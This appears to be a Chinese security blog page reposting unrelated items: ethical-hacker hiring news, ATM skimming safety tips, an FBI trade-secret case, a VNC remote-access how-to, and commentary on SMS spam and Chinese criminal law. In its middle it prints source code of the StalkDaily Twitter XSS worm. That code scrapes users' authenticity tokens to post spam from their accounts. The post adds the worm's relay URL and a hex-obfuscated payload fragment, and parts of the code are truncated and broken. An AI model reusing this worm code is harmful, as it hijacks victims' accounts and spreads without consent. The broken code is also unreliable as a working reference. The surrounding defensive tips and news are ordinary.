搞WEB安全估计都这配置了，哈哈。

More......

More......

　　据美联社报道，为应对每日数以百万计的网络攻击和欺诈，美国联邦政府正在积极寻找黑客高手，这次不是为了抓捕他们而是向他们支付费用保护国家网络。
　　上月美国通用动态信息技术公司（General Dynamics Information Technology）代表国土安全部发布了一则广告，寻找能像黑客一样思考问题的人。广告里称，申请者必须了解黑客的技术和手段，并能对网络流量进行分析，找出联邦系统中的漏洞。
　　上周美国防部长罗伯特・盖茨在提交五角大楼预算申请时，发出了自己的招聘信号。他表示，五角大楼应增加网络专家的数量，在2011年前每年都要培训出80-250名。美国政府的官员表示，在面临新型黑客、网络犯罪和其他威胁上，保护网络的技术创新未能跟上。
　　美国的电脑网络包括了五角大楼和其他联邦政府机构的网络，一直处于持续的攻击下，这些攻击有温和的骚扰性攻击也有破坏力很大的袭击。就在上周，美国政府一位前政府官员披露，间谍已经攻入美国国家电网，并留下一些可中断服务的病毒。
　　网络威胁也对美国的国家安全造成潜在危险，五角大楼的官员表示，过去半年里为修复网络已经花费了1亿多美元。通用动态信息技术公司的副总裁纳迪亚・萧特（Nadia Short）表示，联邦政府非常需要有道德的黑客加盟。
　　前布什政府曾启动了一项政府网络监控计划"爱因斯坦"，由美国计算机应急小组（US-CERT）负责。US-CERT是美国国土安全部、其他政府机构和私人公司签署的合作协议。"爱因斯坦"计划是一个自动收集和分享安全信息的计划。萧特称，这项为期4年将耗资6000万美元的协议，将利用有道德黑客分析政府网络面临的危险和开发可减少漏洞的技术。
　　一些科技巨头也督促美国政府设立一个白宫级职位，专门负责网络发展和寻找如何与私人部门迅速分享信息的途径，这些公司包括通用动态信息技术公司、IBM、洛克希德-马丁和惠普等。但美国政府一直难以解决一些基础问题，如由谁来控制全国性的网络计划。

More......

from:http://www.cnbeta.com/articles/82193.htm
　　我们每天都在接触银行卡，使用ATM自动取款机，可是普通人对银行卡和ATM了解多少呢？为什么会有银行被盗用，被复制的情况出现呢？为什么很多人说在ATM上取到假钱呢。我不算是个专业人士，只是从事银行ATM维护工作有几年了，这里给大家简单的解密下银行卡和ATM的相关情况，希望给大家正确使用银行卡和ATM做个指导。
　　首先说下银行卡，现在最普遍使用的银行卡是磁条卡，另外就是IC卡，我这里只说说磁条卡，因为磁条卡是最容易被盗，被复制的。银行卡背面有一条黑色或其他颜色的宽线条，既为磁条。银行卡磁条是分为三个磁道的，简单的说就是分为三个数据记录区域。第一磁道，根据银行的不同，有的是空白无数据的，有的是记录有该银行卡的卡号的。第二磁道，是记录该银行卡的卡号的，第三磁道，是记录银行卡卡号和加密信息的，该加密信息是银行采用了独特的加密算法，通过对该银行卡的卡号和其他信息计算后，形成的一串数字。每个银行的加密算法肯定是绝密级别的，不可能说被破解。也就是说，不可能别人知道你的卡号，就能制作出你的银行卡。
　　既然不能从知道卡号就复制出一张银行卡，从而盗卡的唯一手段，就是利用你的原卡去复制。所以作案人员采用在ATM或其他地方，安装磁条卡读卡器，骗你将银行卡在这些读卡器上刷，然后把你银行卡的磁道信息记录下来，再写入一张其他同类型磁条卡，这样就完成了银行卡的复制。想想现在的银行使用地点，除了 ATM，还有商场，宾馆，饭店等等，你就明白你银行卡信息被盗取的可能性有多大了，在读卡器上一刷，就能复制下来所有磁道信息，再就可以复制。所以使用银行卡时候，一定要保持卡片在你的视线之类，特别是很多银行的信用卡，消费时是不需要密码的，一旦被复制了，罪犯可以随时拿去刷卡消费。
　　银行卡在ATM上使用，很多人缺乏一点基本常识就是先看ATM屏幕，再插卡。屏幕上明明显示机器暂停服务，有人就还在那里拼命的往入卡口塞卡。还有，现在各银行ATM屏幕上一般都有一些提示信息，很多人不屑一顾，明明屏幕上提示了发生异常情况应该打银行那个号码的服务电话，还是去轻信贴在ATM旁边的一张纸片上的电话。正确使用ATM，应该是先看ATM屏幕，是否显示的是正常服务画面，提示可以插入卡片，然后再插卡。如果是你经常去使用的ATM，你应该还要留意下，插卡口，是否有异常，因为犯罪分子可能会有安装一个假的入卡口在ATM真正的入卡口前面，盗取卡片信息。
　　输入密码时候，先要环顾一下身周围，注意不要陌生人在身后，最好是一个手遮挡住键盘输入区域，一个手输入密码。密码不能复制，但是仅仅6个数字，实在是太容易偷窥记住了。密码和卡片信息，你保护住了一个，你的银行卡就是安全的。特别提示一点，有新闻说到信用卡被人知道卡号和有效期和验证码后三位（即卡背面签名栏末三位数字CVV码），就能电话定机票，所以信用卡的相对普通卡，安全信更差。银行卡在ATM上使用后打出的回单纸，上面的卡号是有几位被星号代替了，但是有很多人可能没留意，银行卡在商场等刷卡使用，打出的回单，卡号是完全显示的，而信用卡的有效期是有印在信用卡上面的。信用卡刷卡消费完以后，回单一定不能随意丢弃，最好看过后，彻底销毁。
　　在ATM交易是需要一定时间，插卡输入密码后，选择了你想要的功能，ATM将信息发送到银行总行服务器，跨行交易还要经过银联服务器，根据网络的好坏，都是需要一定时间。每个银行设定的网络的超时时间不一定相同，比如说，你选查询，刚刚好ATM网络故障（ATM信息发送不到主机，或者是主机的响应信息发送不到ATM），到机器屏幕给出提示这个时间，每个银行都有不同，有的可能是一下子就提示你交易失败，有的可能会等1-2分钟，才提示，这时候千万不要离开 ATM，因为这种情况，ATM无法交易，肯定会提示并退出卡片的。
　　ATM自动退卡和吞卡的时间呢，一般ATM都是30秒。当你插入卡片，而不进行操作，超过30秒，机器将自动退出你的卡片。这就造成有些人取钱后，忙着点钱和验钞，不对机器操作，过了30秒，卡就会自动被机器退出。如果卡片退出后，不被取走，再过30秒，机器将会把卡片吞入，那你就只能找银行领卡了。吞钞也是，钱如果说送到了出钞口，超过30秒，客户不取走钞票，机器也会自动回收钞票。钞票回收了，钱是不会马上又打入你的卡的。这要等银行方面查明了，再由银行冲回你的卡，一般时间3天，或者更久。
　　最好说下ATM出假钞的情况，新闻上这么多反应的，只能说无风不起浪。按照银行正规的操作流程来说，ATM上是不应该出现假币的。为什么这么说，因为银行往ATM上加入的钱，大多数银行并不是使用在柜台客户存入银行的钱，而是每天从地区银行总行金库领用的，领用了拆包直接放入。既然这个钱能入得了银行总行金库，就肯定不会出现假币，现代验钞手段，哪怕是一张钱中间只有极少一部分是假的，比如拼凑上的，都能建议出来。我见过只有十几分之一是假的拼凑币。关于怎么进到ATM我也不知道详情，猜测也是只有内部作祟。有人说在ATM上一下子取到一千，两千都是假的，或者说同一台机器经常有出假的，这个也不足信。作祟人员再大胆，也不可能冒那么大的险，一次放大量假钞进去，或经常动手脚，其中缘由可想而知。大多数人说取到假钱，是在ATM取了钱，不验，往口袋一塞，等到消费时候给人调包了，回头来找银行说ATM取到假钱了。
　　如果真的取到假钱了怎么办呢，首先你不要离开ATM，也不可以把钱收入钱包或口袋，应该叫他人帮忙叫银行人员过来，因为ATM都有摄像头监视，你和银行理论时候，可以要求查看监控录像，确认钱就是从ATM出来的，你没动手脚。遇到晚上或者周末银行不上班，以及不是在银行的ATM机器，有一个办法，就是你找到ATM机器上的摄像头位置，将你手中的钞票编码部分，靠近对准摄像头，停留一阵子，确保录像能录下钞票编码。国内基本所有ATM，都有实时监控，你报案都可以要求提取查看的。你只要仔细看一下ATM，一般都能发现摄像头位置，大多在屏幕上方一点，人脸正面，或者是在头顶位置。有针孔的，有有色玻璃框住的。
　　说了一些，其实ATM和银行卡还有很多和我们使用息息相关的方方面面，大家知道多点，也就不会产生那么多麻烦和不安全因素。生活源于观察，小心谨慎是关键。

More......

PS：窃取商业秘密
　　A Chinese citizen on a work visa in the United States was arrested by the FBI last week for allegedly revealing proprietary software code owned by his unidentified U.S. employer to a Chinese government agency.
　　Yan Zhu, 31, of Lodi, N.J. -- also known as "Westerly Zhu" -- was arrested on charges of theft of trade secrets, conspiracy, wire fraud, and theft of honest services fraud.
　　A startup has a new firewall that accurately identifies applications and enforces policies Renown researchers Thomas Ptacek and Joanna Rutkowska square off on rootkit detection Andrew Conry-Murray spoke with the president of RSA, Art Coviello, at EMC World 2008 about Data Loss Prevention.
　　A startup has a new firewall that accurately identifies applications and enforces policies
　　"Crimes of this nature do not get much public attention," FBI Special Agent in Charge Weysan Dun said in a statement. "No one is shot, there is no crime scene, no prominent public figures are involved. However, this is an act of economic violence -- a paper crime that robs the victim company of the resources they expended to develop a product."
　　Dun said that white-collar crimes of this sort are clearly dangerous to America's economic infrastructure. "If American dollars are spent on research and development of a product, and then that product or research is taken without any compensation to American companies, the value of American companies and American products is significantly reduced in the global marketplace," he said.
　　David Schafer, the assistant federal public defender representing Zhu, declined to comment or to identify Zhu's former U.S. employer.
　　According to the criminal complaint, Zhu's former employer is an unnamed company based in Mercer County, N.J., that develops, implements, and supports software for environmental applications. One of its applications is an environmental information management portal for the Chinese market.
　　Zhu, who holds a Ph.D. from Columbia University in geo-environmental engineering, was hired by the U.S. company around April 2006 as a senior environmental engineer and signed a confidentiality agreement.
　　In July 2007, the U.S. company signed a contract with Shanxi Province, China, to provide its software to the local Environmental Protection Administration （"Shanxi EPA"）. The contract called for four payments totaling about $1.5 million -- a down payment and three subsequent payments following the installation of module 1, modules 2 and 3, and module 4.
　　In November 2007, the Shanxi EPA made the down payment of about $3 million. By March 2008, all four modules were installed, but the U.S. company never received further payment.
　　The U.S. company subsequently recognized the software it had provided to Shanxi Province had been altered, which would require access to the company's source code. The company also noticed that a Chinese company set up to serve as a payment conduit for the deal was now listed on a Shanxi Web site as a vendor of environmental software.
　　The complaint alleges that Zhu e-mailed his company's database and more than 2,000 pages of source code to co-conspirators in China and that the individuals have been selling the U.S. company's software to Chinese government agencies without authorization.
　　In its 2008 report to Congress, the U.S.-China Economic and Security Review Commission warned that "China is targeting U.S. government and commercial computers for espionage."
　　In 2007, the group said, "Chinese espionage activities in the United States are so extensive that they comprise the single greatest risk to the security of American technologies."
　　China, however, is not alone in seeking to obtain U.S. technology through espionage. Many nationals of other countries and U.S. citizens have been involved in technology theft or illegal technology exports.
　　Attend a Webcast on why bad security breaches keep happening to good organizations. It happens Wednesday, April 15. Find out more and register.

More......

　　这个Mikeyy家伙才17岁，为了在twitter给自己打广告弄的XSS蠕虫，这么恶毒的方式也用上了……

原始XSS Worm:

function XHConn() {
var xmlhttp, bComplete = false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
try {
xmlhttp = new XMLHttpRequest();
}
catch(e) {
xmlhttp = false;
}
}
}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone) {
if (!xmlhttp) return false;
bComplete = false;
sMethod = sMethod.toUpperCase();
try {
if (sMethod == "GET") {
xmlhttp.open(sMethod, sURL + "?" + sVars, true);
sVars = "";
}
else {
xmlhttp.open(sMethod, sURL, true);
xmlhttp.setRequestHeader("Method", "POST " + sURL + " HTTP/1.1");
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && !bComplete) {
bComplete = true;
fnDone(xmlhttp);
}
};
xmlhttp.send(sVars);
}
catch(z) {
return false;
}
return true;
};
return this;
}

function urlencode(str) {
var histogram = {},
tmp_arr = [];
var ret = str.toString();

var replacer = function(search, replace, str) {
var tmp_arr = [];
tmp_arr = str.split(search);
return tmp_arr.join(replace);
};

histogram["'"] = '%27';
histogram['('] = '%28';
histogram[')'] = '%29';
histogram['*'] = '%2A';
histogram['~'] = '%7E';
histogram['!'] = '%21';
histogram['%20'] = '+';

ret = encodeURIComponent(ret);

for (search in histogram) {
replace = histogram[search];
ret = replacer(search, replace, ret)
}

return ret.replace(/(\%([a-z0-9]{2}))/g,
function(full, m1, m2) {
return "%" + m2.toUpperCase();
});

return ret;
}

var content = document.documentElement.innerHTML;
userreg = new RegExp(/");
document.write("");

function wait() {
var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

var Randomupdate = new Array();
randomUpdate[0] = "Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1] = "Join www.StalkDaily.com everyone!";
randomUpdate[2] = "Woooo, www.StalkDaily.com :)";
randomUpdate[3] = "Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4] = "Wow...www.StalkDaily.com";
randomUpdate[5] = "@twitter www.StalkDaily.com";

var genRand = randomUpdate[Math.floor(Math.random() * randomUpdate.length)];

updateEncode = urlencode(genRand);

var xss = urlencode('http://www.stalkdaily.com">

感染方式：
　　在Twitter个人资料的location与web栏插入恶意代码，当其它用户浏览某人个资料时，该XSS蠕虫就会触发。

XSS蠕虫中转站：http://content.ireel.com/xssjs.js
　

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F \x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70 \x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\ x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52 \x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\ x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D \x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

安全防范：
　　1.更改hosts文件，屏蔽传染网址。
　　2.使用noscript火狐扩展屏蔽恶意代码
　　3.修改个人资料，删除恶意代码


More......

More......

More......

PS:在手机上玩3389……
from:http://www.makeuseof.com/tag/set-up-remote-computer-access-with-your-mobile-phone/
Throughout my college years, there were often times when I wished I could set up remote computer access to the PC in my dorm room to email a particular homework file to my professor. Instead, I had to hike the treacherous 1.5 miles, through frigid snowdrifts and throngs of shivering college students, just to reprint and retrieve the homework I’d forgotten to bring with me that morning.

Of course, back then there were no such things as Internet-enabled Windows Mobile devices. In fact, at the time the Internet itself was only in its infancy. Today, there’s not only the Internet, but also these nifty little web-enabled mobile devices that let you do some pretty magical things over the Internet. Not the least of which is connecting and controlling your computer from anywhere in the world.

How to Set Up Remote Computer Access With Your Mobile Phone

Not long ago, the ability to whip out your trusty PocketPC and set up remote computer access to your desktop PC would all have sounded like science fiction. Today, it’s not only a reality, but it’s completely free.

Dave previously wrote about how to remotely control your mobile device with your desktop. There are a lot of reasons why that would be useful. However, the reverse is just as useful. Having the ability to set up remote computer access to your home PC from anywhere in the world has unlimited possibilities. But how exactly does it work?

First, it makes use of free VNC technology, mentioned previously in How to Spy On Your Spouse With Your Computer. You set up the VNC server on your home PC exactly as outlined in that article, but in order to connect to that VNC server, you need a VNC client that works on your Windows Mobile device. The best available client that I’ve found is the open source Windows Mobile .NET VNC Viewer created by Rocky Lo.

How To Set Up And Configure The .NET VNC Mobile Viewer

Rocky Lo wrote his mobile VNC client because there weren’t any other clients available that offered much in terms of functionality. This viewer is an impressive mobile version of the desktop version of the Real VNC client. Upon installing the software, you’ll find that it’s extremely easy to immediately establish a connection to the VNC service running on your Home PC.

Lo’s mobile version offers client-side scaling, full screen mode, and is highly configurable to update as often or as little as you would like. Lo fully tested his latest version on an HP 4150 with Windows Mobile 2003. For this article, I’ve tested it on a HTC/Cingular 8125 Smartphone running Windows Mobile 5.0.

You can even set up your mobile device to simply listen on a particular port for available VNC servers. But in my opinion, the most useful settings in this app are the display options.

You can enable full screen mode, set the orientation for portrait, upside down, or even rotate the computer screen clockwise or counter clockwise so that it shows up on your portable PocketPC screen in the wide format.

You can also change the pixel size from 8-bit to 16-bit, or you can allow the server to define your resolution. These are settings you can tweak if you find that the display updates slowly.

Of course, scaling is a cool method you can use to try to get as much of the computer screen to fit inside your little mobile screen. You can define the width and height, or just scale down the server-side size by as much as a fifth.

Finally, you can configure your mobile VNC client to either update the screen as fast as possible, or disable that feature and update manually. You can also configure it to view the PC screen only, but not manulate it (turning your mobile phone into another cool spy device).

Here, you can see what it looks like when I connect my 8125 SmartPhone to the VNC server running on my family desktop PC. I ran the client software while my phone was connected directly to my home Wi-Fi network. Sending commands to the PC acted instantaneously on the PC itself, but the screen refresh rate on the mobile end took at least 10 to 20 seconds. My settings could use a bit of tweaking.

Using the menu items at the bottom of your mobile screen, you can manually force a screen refresh - a helpful feature when you’re on a slow connection. Other options include sending special keys like control-alt-delete and other tasks typical of a normal VNC viewer.

How to Connect to Your PC While Not at Home

Now, while connecting to your PC remotely is cool when you’re sitting in a different room of your home - it’s astronomically more cool when you’re sitting on a train headed to work and you just remembered you forgot a file on your hard drive at home. How can you configure things so that you can connect your mobile phone through your router? It’s extremely simple.

First, get into your router settings and modify port forwarding. Within Linksys, this is typically under applications & gaming. For VNC, you want to define all requests for port 5900 (for example) to forward to the IP address for the PC that you’ve got running the VNC service in your house.

Then, using your connection with your mobile phone, you will connect to your router’s actual Internet IP address and specify the same port that you’ve just defined forwarding for.

In this screenshot, I’ve logged in from a local Wi-Fi hot spot about 20 miles from my house, and I’ve opened up Thunderbird on my home PC.

Final Words

The most important thing to consider when setting up your mobile phone client is that data transfer speeds have a tremendous impact on performance. I’d never consider trying to connect to my home VNC servers over the cellphone network. While it would work, it would take ages to connect and update.

Instead, try to find local Wi-Fi hot spots to park yourself, have a cup of coffee, and remotely log into your home PC to download emails or initiate a few more Torrent downloads.

Either way, using this mobile software is yet another way you can stay fully connected even when you’re miles away from your home computer.

If you have any opinions, comments, problems setting this up, let us know in the comments.

More......

More......

More......

PS:就是用ID发GFW过滤词
from:http://initiative.yo2.cn/archives/638444
1. 备份自己的数据，把资料从目标网站上dump下来，修改/清除所有个人联系信息和资料。（其实数据的覆盖比删除安全很多。）
2. 挂proxy，打开大鸡院网站
3. 复制20多篇反☭的新闻，注意标题一定要狠，要吸引人，要哗众取宠。然后广泛粘贴到目标网站高流量的板块
4. 不出意外的话，个把小时之内你的帐号会被永久性的从目标网站服务器删除，而且不会留下任何痕迹。即使网站没有开发这个功能我想鹳狸猿直接操作数据库都会把你的帐号灭了。
More......

from:http://www.awflasher.com/blog/archives/1742

　　尽管三妖五陆续曝光了一大堆的垃圾短信发送业务，尽管已经有人大代表提出要从法律角度保护公民个人隐私，但就目前的实际情况来说，垃圾短信还是很难根除的。

　　垃圾短信和垃圾邮件（junk mail）的原理一样，都是利用大量的受众群进行低成本广告，尤其是欺诈活动。但是，在这样一个充满千年智慧的土地上，垃圾短信行业显然比西方传入的垃圾邮件行业要更强大。

　　回到这个问题的根源：欺骗究竟为什么能如此猖獗。答案非常简单，因为欺诈存在市场，这个市场比什么新媒体、SNS的那些市场要大得多。（虽然是一个病态的不健康的市场）

　　这个市场存在的原因，我认为是：骗子总是比被骗的人聪明，可以这么简单理解：如果你的智商为130之高，那么只要一个骗子的智商有131，就可能骗到你；如果一个骗子的智商只有85，他仍然可以去骗那些智商低于85的人。更何况，这还参杂着诸如社会经验、行业壁垒在内的许多其他因素。（注：这里的智商只是用于比喻防骗能力）

　　而垃圾短信行业的智慧则在于其"精准匹配" - 一个垃圾短信发布商发布一条智商为N的欺诈信息，只要找到那些智商为M, (M<N)的用户即可行骗成功而牟利。目前由于移动运营商对用户个人隐私的保护还不够成熟，以及之前广大人民群众缺乏保护意识，导致这种智商非常容 易被"获取"、"分析"：

一方面，垃圾短信有极强的"无效过滤机制"（filters）：垃圾短信并不会发到那些"企业白领"、"高校学者"和"机关领导"的手机里。因为这些人的投诉意识比较强、

另一方面，垃圾短信有极强的"自动化学习机制"（machine learning）：发给1000个号码中，经常投诉或者难以欺诈成功的那一部分号码，会被加入到上面的过滤机制中。

　　有这两方面的强力保障，垃圾短信欺诈在99%的情况下都可以欺诈成功：用这99%的盈利去应付那1%的"索赔"，实在是太轻而易举的一件事情了。

总之，还是那句话，能不用手机，别用手机。

More......

　　PS:用NLP心理检定语言来解释法律规条，我们会发现大量充斥粗泛概念的词语，尤其在描述程度的多少时，通常并非那么具体。你能想象，"黑掉网站就是犯罪"，然而并有具体描述行为、性质、程度等等时，法官的宣判解读就可以天马坠地宣判。
　　在我看来，中国的刑法，是相当愚蠢的垃圾，量型重、不透明，绝大多数的法官的口头禅是："因还没有这方面的相关法律"、"目前无具体的司法解释"。立法者不懂常识，最近一条网络安全法，我怀疑，这群傻X！法克尤！
　　《中华人民共和国刑法》 第二百六十四条规定："数额较大或者多次盗窃的，处三年以下有期徒刑、拘役或者管制，并处或者单处罚金；数额巨大或者有其他严重情节的，处三年以上十年以 下有期徒刑，并处罚金；数额特别巨大或者有其他特别严重情节的，处十年以上有期徒刑或者无期徒刑，并处罚金或者没收财产；有下列情形之一的，处无期徒刑或 者死刑，并处没收财产：（一）盗窃金融机构，数额特别巨大的；（二）盗窃珍贵文物，情节严重的。" 由于数额较大和数额巨大是一个模糊的形容词，也就为审判提供了弹性空间。《重庆晨报》报道，九龙坡区法院以数额巨大为由，一审判决盗窃久游币、联众币和魔兽点卡价值14万余元的"黑客"张某有期徒刑十年零六个月，并处罚金5万元；另外四名被告分别被判处有期徒刑三年至六年。 有兴趣的话可以比较一下贪污贿赂罪，刑法第三百八十二条规定"个人贪污数额在十万元以上的，处十年以上有期徒刑或者无期徒刑，可以并处没收财产；情节特别严重的，处死刑，并处没收财产。以下是一些最近的贪污案件： 山西霍州原公安局长贪污约600万元被判17年；衡阳对北亚实业(集团)股份有限公司原董事长刘贵亭挪用公款9999.98万元人民币，贪污1337万余元人民币判无期；贪污32万医药公司经理获判12年半.....

bladerunner的评论
　　90年代末连线杂志就登过，中国是唯一处死黑客的国家，记得地方是镇江。中国的判决向来政治、权力角力味道极浓，无权者往往灰飞烟灭，当年我见过为"金中 富"期货案件辩护的律师，一些企业投钱是为了投政府某些人物的喜好――他们当年力挺金中富，但是出事后外资方作为知情人获得了被扣留的护照开溜，国内投资 方的判决书在开庭时就已经拟定好，怎么辩护都没用。

　　至于"那个年代"，就别提了，有代人做毛主席石膏像的青年工人因为把做坏的石膏像扔掉被枪决的。至于著名的"内人党"案件，通过大规模的刑讯捏造了一个子 虚乌有的几十万人的反党集团，不到50年时间抹平一切，今日在海外唧唧歪歪"西藏农奴遭受酷刑"的小奶嘴们估计根本没听说过，即使告诉他们也"不很关心政 治"，而西藏问题则"不是政治问题"。当年我了解内人党案件是通过大陆华龄出版社的《中国左祸》，陈列的还都是党"平反昭雪"的案例，如果现在还能找到， 建议关心历史的人去看看。

More......